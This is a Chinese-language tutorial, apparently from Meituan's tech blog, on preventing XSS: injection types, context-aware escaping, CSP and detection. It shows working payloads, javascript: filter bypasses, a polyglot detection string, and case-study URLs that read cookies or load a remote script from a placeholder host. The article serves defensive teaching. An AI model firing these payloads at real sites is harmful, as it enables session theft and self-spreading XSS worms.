前端安全系列（一）：如何防止XSS攻击？ (https://tech.meituan.com/2018/09/27/fe-security.html)

2018年09月27日 作者: 李阳 文章链接 (https://tech.meituan.com/2018/09/27/fe-security.html) 13427字 27分钟阅读

前端安全

随着互联网的高速发展，信息安全问题已经成为企业最为关注的焦点之一，而前端又是引发企业安全问题的高危据点。在移动互联网时代，前端人员除了传统的 XSS、CSRF 等安全问题之外，又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然，浏览器自身也在不断在进化和发展，不断引入 CSP、Same-Site Cookies 等新技术来增强安全性，但是仍存在很多潜在的威胁，这需要前端技术人员不断进行“查漏补缺”。

近几年，美团业务高速发展，前端随之面临很多安全挑战，因此积累了大量的实践经验。我们梳理了常见的前端安全问题以及对应的解决方案，将会做成一个系列，希望可以帮助前端人员在日常开发中不断预防和修复安全漏洞。本文是该系列的第一篇。

本文我们会讲解 XSS ，主要包括：

- XSS 攻击的介绍
- XSS 攻击的分类
- XSS 攻击的预防和检测
- XSS 攻击的总结
- XSS 攻击案例

XSS 攻击的介绍

在开始本文之前，我们先提出一个问题，请判断以下两个说法是否正确：

- XSS 防范是后端 RD（研发人员）的责任，后端 RD 应该在所有用户提交数据的接口，对敏感字符进行转义，才能进行下一步操作。
- 所有要插入到页面上的数据，都要通过一个敏感字符过滤函数的转义，过滤掉通用的敏感字符后，就可以插入到页面中。

如果你还不能确定答案，那么可以带着这些问题向下看，我们将逐步拆解问题。

XSS 漏洞的发生和修复

XSS 攻击是页面被注入了恶意的代码，为了更形象的介绍，我们用发生在小明同学身边的事例来进行说明。

一个案例

某天，公司需要一个搜索页面，根据 URL 参数决定关键词的内容。小明很快把页面写好并且上线。代码如下：

```
<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
  您搜索的关键词是：<%= getParameter("keyword") %>
</div>
```

然而，在上线后不久，小明就接到了安全组发来的一个神秘链接：

`http://xxx/search?keyword="><script>alert('XSS');</script>`

小明带着一种不祥的预感点开了这个链接[请勿模仿，确认安全的链接才能点开]。果然，页面中弹出了写着”XSS”的对话框。

> “ 可恶，中招了！小明眉头一皱，发现了其中的奥秘：

当浏览器请求 `http://xxx/search?keyword="><script>alert('XSS');</script>` 时，服务端会解析出请求参数 `keyword` ，得到 `"><script>alert('XSS');</script>` ，拼接到 HTML 中返回给浏览器。形成了如下的 HTML：

```
<input type="text" value=""><script>alert('XSS');</script>">
<button>搜索</button>
<div>
  您搜索的关键词是："><script>alert('XSS');</script>
</div>
```

浏览器无法分辨出 `<script>alert('XSS');</script>` 是恶意代码，因而将其执行。

这里不仅仅 div 的内容被注入了，而且 input 的 value 属性也被注入， alert 会弹出两次。

面对这种情况，我们应该如何进行防范呢？

其实，这只是浏览器把用户的输入当成了脚本进行了执行。那么只要告诉浏览器这段内容是文本就可以了。

聪明的小明很快找到解决方法，把这个漏洞修复：

```
<input type="text" value="<%= escapeHTML(getParameter("keyword")) %>">
<button>搜索</button>
<div>
  您搜索的关键词是：<%= escapeHTML(getParameter("keyword")) %>
</div>
```

`escapeHTML()` 按照如下规则进行转义：

字符	转义后的字符
`&`	`&`
`<`	`<`
`>`	`>`
`"`	`&quot;`
`'`	`&#x27;`
`/`	`&#x2F;`

经过了转义函数的处理后，最终浏览器接收到的响应为：

```
<input type="text" value="&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;">
<button>搜索</button>
<div>
  您搜索的关键词是：&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;
</div>
```

恶意代码都被转义，不再被浏览器执行，而且搜索词能够完美的在页面显示出来。

通过这个事件，小明学习到了如下知识：

- 通常页面中包含的用户输入内容都在固定的容器或者属性内，以文本的形式展示。
- 攻击者利用这些页面的用户输入片段，拼接特殊格式的字符串，突破原有位置的限制，形成了代码片段。
- 攻击者通过在目标网站上注入脚本，使之在用户的浏览器上运行，从而引发潜在风险。
- 通过 HTML 转义，可以防止 XSS 攻击。[事情当然没有这么简单啦！请继续往下看]。

注意特殊的 HTML 属性、JavaScript API

自从上次事件之后，小明会小心的把插入到页面中的数据进行转义。而且他还发现了大部分模板都带有的转义配置，让所有插入到页面中的数据都默认进行转义。这样就不怕不小心漏掉未转义的变量啦，于是小明的工作又渐渐变得轻松起来。

但是，作为导演的我，不可能让小明这么简单、开心地改 Bug 。

不久，小明又收到安全组的神秘链接：`http://xxx/?redirect_to=javascript:alert('XSS')`。小明不敢大意，赶忙点开页面。然而，页面并没有自动弹出万恶的“XSS”。

小明打开对应页面的源码，发现有以下内容：

```
<a href="<%= escapeHTML(getParameter("redirect_to")) %>">跳转...</a>
```

这段代码，当攻击 URL 为 `http://xxx/?redirect_to=javascript:alert('XSS')`，服务端响应就成了：

```
<a href="javascript:alert(&#x27;XSS&#x27;)">跳转...</a>
```

虽然代码不会立即执行，但一旦用户点击 `a` 标签时，浏览器会就会弹出“XSS”。

> 可恶，又失策了...

在这里，用户的数据并没有在位置上突破我们的限制，仍然是正确的 href 属性。但其内容并不是我们所预期的类型。

原来不仅仅是特殊字符，连 `javascript:` 这样的字符串如果出现在特定的位置也会引发 XSS 攻击。

小明眉头一皱，想到了解决办法：

```
// 禁止 URL 以 "javascript:" 开头
xss = getParameter("redirect_to").startsWith('javascript:');
if (!xss) {
  <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
    跳转...
  </a>
} else {
  <a href="/404">
    跳转...
  </a>
}
```

只要 URL 的开头不是 `javascript:`，就安全了吧？

安全组随手又扔了一个连接：`http://xxx/?redirect_to=jAvascRipt:alert('XSS')`

> 这也能执行？.....好吧，浏览器就是这么强大。

小明欲哭无泪，在判断 URL 开头是否为 `javascript:` 时，先把用户输入转成了小写，然后再进行比对。

不过，所谓“道高一尺，魔高一丈”。面对小明的防护策略，安全组就构造了这样一个连接：

`http://xxx/?redirect_to=%20javascript:alert('XSS')`

`%20javascript:alert('XSS')` 经过 URL 解析后变成 `javascript:alert('XSS')`，这个字符串以空格开头。这样攻击者可以绕过后端的关键词规则，又成功的完成了注入。

最终，小明选择了白名单的方法，彻底解决了这个漏洞：

```
// 根据项目情况进行过滤，禁止掉 "javascript:" 链接、非法 scheme 等
allowSchemes = ["http", "https"];

valid = isValid(getParameter("redirect_to"), allowSchemes);

if (valid) {
  <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
    跳转...
  </a>
} else {
  <a href="/404">
    跳转...
  </a>
}
```

通过这个事件，小明学习到了如下知识：

- 做了 HTML 转义，并不等于高枕无忧。
- 对于链接跳转，如 `<a href="xxx"` 或 `location.href="xxx"`，要检验其内容，禁止以 `javascript:` 开头的链接，和其他非法的 scheme。

根据上下文采用不同的转义规则

某天，小明为了加快网页的加载速度，把一个数据通过 JSON 的方式内联到 HTML 中：

```
<script>
var initData = <%= data.toJSON() %>
</script>
```

插入 JSON 的地方不能使用 `escapeHTML()`，因为转义 `"` 后，JSON 格式会被破坏。

但安全组又发现有漏洞，原来这样内联 JSON 也是不安全的：

- 当 JSON 中包含 `U+2028` 或 `U+2029` 这两个字符时，不能作为 JavaScript 的字面量使用，否则会抛出语法错误。
- 当 JSON 中包含字符串 `</script>` 时，当前的 script 标签将会被闭合，后面的字符串内容浏览器会按照 HTML 进行解析；通过增加下一个 `<script>` 标签等方法就可以完成注入。

于是我们又要实现一个 `escapeEmbedJSON()` 函数，对内联 JSON 进行转义。

转义规则如下：

|字符|转义后的字符| |-|-| |`U+2028`| `\u2028`| |`U+2029`| `\u2029`| |`<`| `\u003c`|

修复后的代码如下：

```
<script>
var initData = <%= escapeEmbedJSON(data.toJSON()) %>
```

通过这个事件，小明学习到了如下知识：

- HTML 转义是非常复杂的，在不同的情况下要采用不同的转义规则。如果采用了错误的转义规则，很有可能会埋下 XSS 隐患。
- 应当尽量避免自己写转义库，而应当采用成熟的、业界通用的转义库。

漏洞总结

小明的例子讲完了，下面我们来系统的看下 XSS 有哪些注入的方法：

- 在 HTML 中内嵌的文本中，恶意内容以 script 标签形成注入。
- 在内联的 JavaScript 中，拼接的数据突破了原本的限制（字符串，变量，方法名等）。
- 在标签属性中，恶意内容包含引号，从而突破属性值的限制，注入其他属性或者标签。
- 在标签的 href、src 等属性中，包含 `javascript:` 等可执行代码。
- 在 onload、onerror、onclick 等事件中，注入不受控制代码。
- 在 style 属性和标签中，包含类似 `background-image:url("javascript:...");` 的代码（新版本浏览器已经可以防范）。
- 在 style 属性和标签中，包含类似 `expression(...)` 的 CSS 表达式代码（新版本浏览器已经可以防范）。

总之，如果开发者没有将用户输入的文本进行合适的过滤，就贸然插入到 HTML 中，这很容易造成注入漏洞。攻击者可以利用漏洞，构造出恶意的代码指令，进而利用恶意代码危害数据安全。

XSS 攻击的分类

通过上述几个例子，我们已经对 XSS 有了一些认识。

什么是 XSS

Cross-Site Scripting（跨站脚本攻击）简称 XSS，是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本，使之在用户的浏览器上运行。利用这些恶意脚本，攻击者可获取用户的敏感信息如 Cookie、SessionID 等，进而危害数据安全。

为了和 CSS 区分，这里把攻击的第一个字母改成了 X，于是叫做 XSS。

XSS 的本质是：恶意代码未经过滤，与网站正常的代码混在一起；浏览器无法分辨哪些脚本是可信的，导致恶意脚本被执行。

而由于直接在用户的终端执行，恶意代码能够直接获取用户的信息，或者利用这些信息冒充用户向网站发起攻击者定义的请求。

在部分情况下，由于输入的限制，注入的恶意脚本比较短。但可以通过引入外部的脚本，并由浏览器执行，来完成比较复杂的攻击策略。

这里有一个问题：用户是通过哪种方法“注入”恶意脚本的呢？

不仅仅是业务上的“用户的 UGC 内容”可以进行注入，包括 URL 上的参数等都可以是攻击的来源。在处理输入时，以下内容都不可信：

- 来自用户的 UGC 信息
- 来自第三方的链接
- URL 参数
- POST 参数
- Referer（可能来自不可信的来源）
- Cookie（可能来自其他子域注入）

XSS 分类

根据攻击的来源，XSS 攻击可分为存储型、反射型和 DOM 型三种。

|类型|存储区/*插入点*| |-|-| |存储型 XSS|后端数据库|HTML| |反射型 XSS|URL|HTML| |DOM 型 XSS|后端数据库/前端存储/URL|前端 JavaScript|

- 存储区：恶意代码存放的位置。
- 插入点：由谁取得恶意代码，并插入到网页上。

存储型 XSS

存储型 XSS 的攻击步骤：

- 攻击者将恶意代码提交到目标网站的数据库中。
- 用户打开目标网站时，网站服务端将恶意代码从数据库取出，拼接在 HTML 中返回给浏览器。
- 用户浏览器接收到响应后解析执行，混在其中的恶意代码也被执行。
- 恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作。

这种攻击常见于带有用户保存数据的网站功能，如论坛发帖、商品评论、用户私信等。

反射型 XSS

反射型 XSS 的攻击步骤：

- 攻击者构造出特殊的 URL，其中包含恶意代码。
- 用户打开带有恶意代码的 URL 时，网站服务端将恶意代码从 URL 中取出，拼接在 HTML 中返回给浏览器。
- 用户浏览器接收到响应后解析执行，混在其中的恶意代码也被执行。
- 恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作。

反射型 XSS 跟存储型 XSS 的区别是：存储型 XSS 的恶意代码存在数据库里，反射型 XSS 的恶意代码存在 URL 里。

反射型 XSS 漏洞常见于通过 URL 传递参数的功能，如网站搜索、跳转等。

由于需要用户主动打开恶意的 URL 才能生效，攻击者往往会结合多种手段诱导用户点击。

POST 的内容也可以触发反射型 XSS，只不过其触发条件比较苛刻（需要构造表单提交页面，并引导用户点击），所以非常少见。

DOM 型 XSS

DOM 型 XSS 的攻击步骤：

- 攻击者构造出特殊的 URL，其中包含恶意代码。
- 用户打开带有恶意代码的 URL。
- 用户浏览器接收到响应后解析执行，前端 JavaScript 取出 URL 中的恶意代码并执行。
- 恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作。

DOM 型 XSS 跟前两种 XSS 的区别：DOM 型 XSS 攻击中，取出和执行恶意代码由浏览器端完成，属于前端 JavaScript 自身的安全漏洞，而其他两种 XSS 都属于服务端的安全漏洞。

XSS 攻击的预防

通过前面的介绍可以得知，XSS 攻击有两大要素：

- 攻击者提交恶意代码。
- 浏览器执行恶意代码。

针对第一个要素：我们是否能够在用户输入的过程，过滤掉用户输入的恶意代码呢？

输入过滤

在用户提交时，由前端过滤输入，然后提交到后端。这样做是否可行呢？

答案是不可行。一旦攻击者绕过前端过滤，直接构造请求，就可以提交恶意代码了。

那么，换一个过滤时机：后端在写入数据库前，对输入进行过滤，然后把“安全的”内容，返回给前端。这样是否可行呢？

我们举一个例子，一个正常的用户输入了 `5 < 7` 这个内容，在写入数据库前，被转义，变成了 `5 < 7`。

问题是：在提交阶段，我们并不确定内容要输出到哪里。

这里的“并不确定内容要输出到哪里”有两层含义：

- 用户的输入内容可能同时提供给前端和客户端，而一旦经过了 `escapeHTML()`，客户端显示的内容就变成了乱码(`5 < 7`)。
- 在前端中，不同的位置所需的编码也不同。
  - 当 `5 < 7` 作为 HTML 拼接页面时，可以正常显示：

```
<div title="comment">5 &lt; 7</div>
```

  - 当 `5 < 7` 通过 Ajax 返回，然后赋值给 JavaScript 的变量时，前端得到的字符串就是转义后的字符。这个内容不能直接用于 Vue 等模板的展示，也不能直接用于内容长度计算。不能用于标题、alert 等。

所以，输入侧过滤能够在某些情况下解决特定的 XSS 问题，但会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。

当然，对于明确的输入类型，例如数字、URL、电话号码、邮件地址等等内容，进行输入过滤还是必要的。

既然输入过滤并非完全可靠，我们就要通过“防止浏览器执行恶意代码”来防范 XSS。这部分分为两类：

- 防止 HTML 中出现注入。
- 防止 JavaScript 执行时，执行恶意代码。

预防存储型和反射型 XSS 攻击

存储型和反射型 XSS 都是在服务端取出恶意代码后，插入到响应 HTML 里的，攻击者刻意编写的“数据”被内嵌到“代码”中，被浏览器所执行。

预防这两种漏洞，有两种常见做法：

- 改成纯前端渲染，把代码和数据分隔开。
- 对 HTML 做充分转义。

纯前端渲染

纯前端渲染的过程：

- 浏览器先加载一个静态 HTML，此 HTML 中不包含任何跟业务相关的数据。
- 然后浏览器执行 HTML 中的 JavaScript。
- JavaScript 通过 Ajax 加载业务数据，调用 DOM API 更新到页面上。

在纯前端渲染中，我们会明确的告诉浏览器：下面要设置的内容是文本（ `.innerText` ），还是属性（ `.setAttribute` ），还是样式（ `.style` ）等等。浏览器不会被轻易的被欺骗，执行预期外的代码了。

但纯前端渲染还需注意避免 DOM 型 XSS 漏洞（例如 `onload` 事件和 `href` 中的 `javascript:xxx` 等，请参考下文”预防 DOM 型 XSS 攻击“部分）。

在很多内部、管理系统中，采用纯前端渲染是非常合适的。但对于性能要求高，或有 SEO 需求的页面，我们仍然要面对拼接 HTML 的问题。

转义 HTML

如果拼接 HTML 是必要的，就需要采用合适的转义库，对 HTML 模板各处插入点进行充分的转义。

常用的模板引擎，如 doT.js、ejs、FreeMarker 等，对于 HTML 转义通常只有一个规则，就是把 `& < > " ' /` 这几个字符转义掉，确实能起到一定的 XSS 防护作用，但并不完善：

|XSS 安全漏洞|简单转义是否有防护作用| |-|-| |HTML 标签文字内容|有| |HTML 属性值|有| |CSS 内联样式|无| |内联 JavaScript|无| |内联 JSON|无| |跳转链接|无|

所以要完善 XSS 防护措施，我们要使用更完善更细致的转义策略。

例如 Java 工程里，常用的转义库为 `org.owasp.encoder`。以下代码引用自 **org.owasp.encoder 的官方说明 (https://www.owasp.org/index.php/OWASP_Java_Encoder_Project#tab=Use_the_Java_Encoder_Project)**。

```
<!-- HTML 标签内文字内容 -->
<div><%= Encode.forHtml(UNTRUSTED) %></div>

<!-- HTML 标签属性值 -->
<input value="<%= Encode.forHtml(UNTRUSTED) %>" />

<!-- CSS 属性值 -->
<div style="width:<= Encode.forCssString(UNTRUSTED) %>">

<!-- CSS URL -->
<div style="background:<= Encode.forCssUrl(UNTRUSTED) %>">

<!-- JavaScript 内联代码块 -->
<script>
  var msg = "<%= Encode.forJavaScript(UNTRUSTED) %>";
  alert(msg);
</script>

<!-- JavaScript 内联代码块内嵌 JSON -->
<script>
var __INITIAL_STATE__ = JSON.parse('<%= Encoder.forJavaScript(data.to_json) %>');
</script>

<!-- HTML 标签内联监听器 -->
<button
  onclick="alert('<%= Encode.forJavaScript(UNTRUSTED) %>');">
  click me
</button>

<!-- URL 参数 -->
<a href="/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top">

<!-- URL 路径 -->
<a href="/page/<%= Encode.forUriComponent(UNTRUSTED) %>">

<!--
  URL.
  注意：要根据项目情况进行过滤，禁止掉 "javascript:" 链接、非法 scheme 等
-->
<a href='<%=
  urlValidator.isValid(UNTRUSTED) ?
    Encode.forHtml(UNTRUSTED) :
    "/404"
%>'>
  link
</a>
```

可见，HTML 的编码是十分复杂的，在不同的上下文里要使用相应的转义规则。

预防 DOM 型 XSS 攻击

DOM 型 XSS 攻击，实际上就是网站前端 JavaScript 代码本身不够严谨，把不可信的数据当作代码执行了。

在使用 `.innerHTML`、`.outerHTML`、`document.write()` 时要特别小心，不要把不可信的数据作为 HTML 插到页面上，而应尽量使用 `.textContent`、`.setAttribute()` 等。

如果用 Vue/React 技术栈，并且不使用 `v-html` / `dangerouslySetInnerHTML` 功能，就在前端 render 阶段避免 `innerHTML`、`outerHTML` 的 XSS 隐患。

DOM 中的内联事件监听器，如 `location`、`onclick`、`onerror`、`onload`、`onmouseover` 等，`<a>` 标签的 `href` 属性，JavaScript 的 `eval()`、`setTimeout()`、`setInterval()` 等，都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API，很容易产生安全隐患，请务必避免。

```
<!-- 内联事件监听器中包含恶意代码 -->
![](https://awps-assets.meituan.net/mit-x/blog-images-bundle-2018b/3e724ce0.data:image/png,)

<!-- 链接内包含恶意代码 -->
<a href="UNTRUSTED">1</a>

<script>
// setTimeout()/setInterval() 中调用恶意代码
setTimeout("UNTRUSTED")
setInterval("UNTRUSTED")

// location 调用恶意代码
location.href = 'UNTRUSTED'

// eval() 中调用恶意代码
eval("UNTRUSTED")
</script>
```

如果项目中有用到这些的话，一定要避免在字符串中拼接不可信数据。

其他 XSS 防范措施

虽然在渲染页面和执行 JavaScript 时，通过谨慎的转义可以防止 XSS 的发生，但完全依靠开发的谨慎仍然是不够的。以下介绍一些通用的方案，可以降低 XSS 带来的风险和后果。

Content Security Policy

严格的 CSP 在 XSS 的防范中可以起到以下的作用：

- 禁止加载外域代码，防止复杂的攻击逻辑。
- 禁止外域提交，网站被攻击后，用户的数据不会泄露到外域。
- 禁止内联脚本执行（规则较严格，目前发现 GitHub 使用）。
- 禁止未授权的脚本执行（新特性，Google Map 移动版在使用）。
- 合理使用上报可以及时发现 XSS，利于尽快修复问题。

关于 CSP 的详情，请关注前端安全系列后续的文章。

输入内容长度控制

对于不受信任的输入，都应该限定一个合理的长度。虽然无法完全防止 XSS 发生，但可以增加 XSS 攻击的难度。

其他安全措施

- HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie，攻击者完成 XSS 注入后也无法窃取此 Cookie。
- 验证码：防止脚本冒充用户提交危险操作。

XSS 的检测

上述经历让小明收获颇丰，他也学会了如何去预防和修复 XSS 漏洞，在日常开发中也具备了相关的安全意识。但对于已经上线的代码，如何去检测其中有没有 XSS 漏洞呢？

经过一番搜索，小明找到了两个方法：

- 使用通用 XSS 攻击字符串手动检测 XSS 漏洞。
- 使用扫描工具自动检测 XSS 漏洞。

在 **Unleashing an Ultimate XSS Polyglot (https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot)** 一文中，小明发现了这么一个字符串：

```
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
```

它能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞，也能检测 `eval()`、`setTimeout()`、`setInterval()`、`Function()`、`innerHTML`、`document.write()` 等 DOM 型 XSS 漏洞，并且能绕过一些 XSS 过滤器。

小明只要在网站的各输入框中提交这个字符串，或者把它拼接到 URL 参数上，就可以进行检测了。

```
http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E
```

除了手动检测之外，还可以使用自动扫描工具寻找 XSS 漏洞，例如 **Arachni (https://github.com/Arachni/arachni)**、**Mozilla HTTP Observatory (https://github.com/mozilla/http-observatory/)**、**w3af (https://github.com/andresriancho/w3af)** 等。

XSS 攻击的总结

我们回到最开始提出的问题，相信同学们已经有了答案：

- XSS 防范是后端 RD 的责任，后端 RD 应该在所有用户提交数据的接口，对敏感字符进行转义，才能进行下一步操作。

> 不正确。因为： * 防范存储型和反射型 XSS 是后端 RD 的责任。而 DOM 型 XSS 攻击不发生在后端，是前端 RD 的责任。防范 XSS 是需要后端 RD 和前端 RD 共同参与的系统工程。 * 转义应该在输出 HTML 时进行，而不是在提交用户输入时。

- 所有要插入到页面上的数据，都要通过一个敏感字符过滤函数的转义，过滤掉通用的敏感字符后，就可以插入到页面中。

> 不正确。 不同的上下文，如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等，所需要的转义规则不一致。 业务 RD 需要选取合适的转义库，并针对不同的上下文调用不同的转义规则。

整体的 XSS 防范是非常复杂和繁琐的，我们不仅需要在全部需要转义的位置，对数据进行对应的转义。而且要防止多余和错误的转义，避免正常的用户输入出现乱码。

虽然很难通过技术手段完全避免 XSS，但我们可以总结以下原则减少漏洞的产生：

- **利用模板引擎** 开启模板引擎自带的 HTML 转义功能。例如： 在 ejs 中，尽量使用 `<%= data %>` 而不是 `<%- data %>` ； 在 doT.js 中，尽量使用 `{{! data }}` 而不是 `{{= data }}` ； 在 FreeMarker 中，确保引擎版本高于 2.3.24，并且选择正确的 `freemarker.core.OutputFormat` 。
- **避免内联事件** 尽量不要使用 `onLoad="onload('{{data}}')"` 、 `onClick="go('{{action}}')"` 这种拼接内联事件的写法。在 JavaScript 中通过 `.addEventlistener()` 事件绑定会更安全。
- **避免拼接 HTML** 前端采用拼接 HTML 的方法比较危险，如果框架允许，使用 `createElement` 、 `setAttribute` 之类的方法实现。或者采用比较成熟的渲染框架，如 Vue/React 等。
- **时刻保持警惕** 在插入位置为 DOM 属性、链接等位置时，要打起精神，严加防范。
- **增加攻击难度，降低攻击后果** 通过 CSP、输入长度配置、接口安全措施等方法，增加攻击的难度，降低攻击的后果。
- **主动检测和发现** 可使用 XSS 攻击字符串和自动扫描工具寻找潜在的 XSS 漏洞。

XSS 攻击案例

QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞

攻击者发现 `http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb` 这个 URL 的参数 `uin` 、 `domain` 未经转义直接输出到 HTML 中。

于是攻击者构建出一个 URL，并引导用户去点击： `http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.c`

用户点击这个 URL 时，服务端取出 URL 参数，拼接到 HTML 响应中：

```
<script>
getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";
return false;</script><script>alert(document.cookie)</script>"+"...
```

浏览器接收到响应后就会执行 `alert(document.cookie)` ，攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ，进而危害数据安全。

新浪微博名人堂反射型 XSS 漏洞

攻击者发现 `http://weibo.com/pub/star/g/xyyyd` 这个 URL 的内容未经过滤直接输出到 HTML 中。

于是攻击者构建出一个 URL，然后诱导用户去点击：

`http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>`

用户点击这个 URL 时，服务端取出请求 URL，拼接到 HTML 响应中：

```
<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>">按分类检索</a
></li>
```

浏览器接收到响应后就会加载执行恶意脚本 `//xxxx.cn/image/t.js` ，在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作，发出的微博和私信可再带上攻击 URL，诱导更多人点击，不断放大攻击范围。这种窃用受害者身份发布恶意内容，层层放大攻击范围的方式，被称为“XSS 蠕虫”。

扩展阅读：Automatic Context-Aware Escaping

上文我们说到：

- 合适的 HTML 转义可以有效避免 XSS 漏洞。
- 完善的转义库需要针对上下文制定多种规则，例如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等等。
- 业务 RD 需要根据每个插入点所处的上下文，选取不同的转义规则。

通常，转义库是不能判断插入点上下文的（Not Context-Aware），实施转义规则的责任就落到了业务 RD 身上，需要每个业务 RD 都充分理解 XSS 的各种情况，并且需要保证每一个插入点使用了正确的转义规则。

这种机制工作量大，全靠人工保证，很容易造成 XSS 漏洞，安全人员也很难发现隐患。

2009年，Google 提出了一个概念叫做： **Automatic Context-Aware Escaping (https://security.googleblog.com/2009/03/reducing-xss-by-way-of-automatic.html)** 。

所谓 Context-Aware，就是说模板引擎在解析模板字符串的时候，就解析模板语法，分析出每个插入点所处的上下文，据此自动选用不同的转义规则。这样就减轻了业务 RD 的工作负担，也减少了人为带来的疏漏。

在一个支持 Automatic Context-Aware Escaping 的模板引擎里，业务 RD 可以这样定义模板，而无需手动实施转义规则：

```
<html>
  <head>
    <meta charset="UTF-8">
    <title>{{.title}}</title>
  </head>
  <body>
    <a href="{{.url}}">{{.content}}</a>
  </body>
</html>
```

模板引擎经过解析后，得知三个插入点所处的上下文，自动选用相应的转义规则：

```
<html>
  <head>
    <meta charset="UTF-8">
    <title>{{.title | htmlescaper}}</title>
  </head>
  <body>
    <a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}</a>
  </body>
</html>
```

目前已经支持 Automatic Context-Aware Escaping 的模板引擎有：

- **go html/template (https://golang.org/pkg/html/template/)**
- **Google Closure Templates (https://developers.google.com/closure/templates/docs/security)**

课后作业：XSS 攻击小游戏

以下是几个 XSS 攻击小游戏，开发者在网站上故意留下了一些常见的 XSS 漏洞。玩家在网页上提交相应的输入，完成 XSS 攻击即可通关。

在玩游戏的过程中，请各位读者仔细思考和回顾本文内容，加深对 XSS 攻击的理解。

alert(1) to win (https://alf.nu/alert1) **prompt(1) to win (http://prompt.ml/)** **XSS game (https://xss-game.appspot.com/)**

参考文献

- Wikipedia. **Cross-site scripting (https://en.wikipedia.org/wiki/Cross-site_scripting)**. Wikipedia.
- OWASP. **XSS (Cross Site Scripting) Prevention Cheat Sheet (https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)**. OWASP.
- OWASP. **Use the OWASP Java Encoder (https://github.com/OWASP/owasp-java-encoder/wiki/2)** -Use-the-OWASP-Java-Encoder), GitHub.
- Ahmed Elsobky. **Unleashing an Ultimate XSS Polyglot (https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot)**. GitHub.
- Jad S. Boutros. **Reducing XSS by way of Automatic Context-Aware Escaping in Template Systems (https://security.googleblog.com/2009/03/reducing-xss-by-way-of-automatic.html)**. Google Security Blog.
- Vue.js. **v-html - Vue API docs (https://vuejs.org/v2/api/#v-html)**. Vue.js.
- React. **dangerouslySetInnerHTML - DOM Elements (https://reactjs.org/docs/dom-elements.html#dangerouslysetinnerhtml)**. React.

下期预告

前端安全系列文章将对 XSS、CSRF、网络劫持、Hybrid 安全等安全议题展开论述。下期我们要讨论的是 CSRF 攻击，敬请关注。

作者介绍

- 李阳，美团点评前端工程师。2016年加入美团点评，负责美团外卖 Hybrid 页面性能优化相关工作。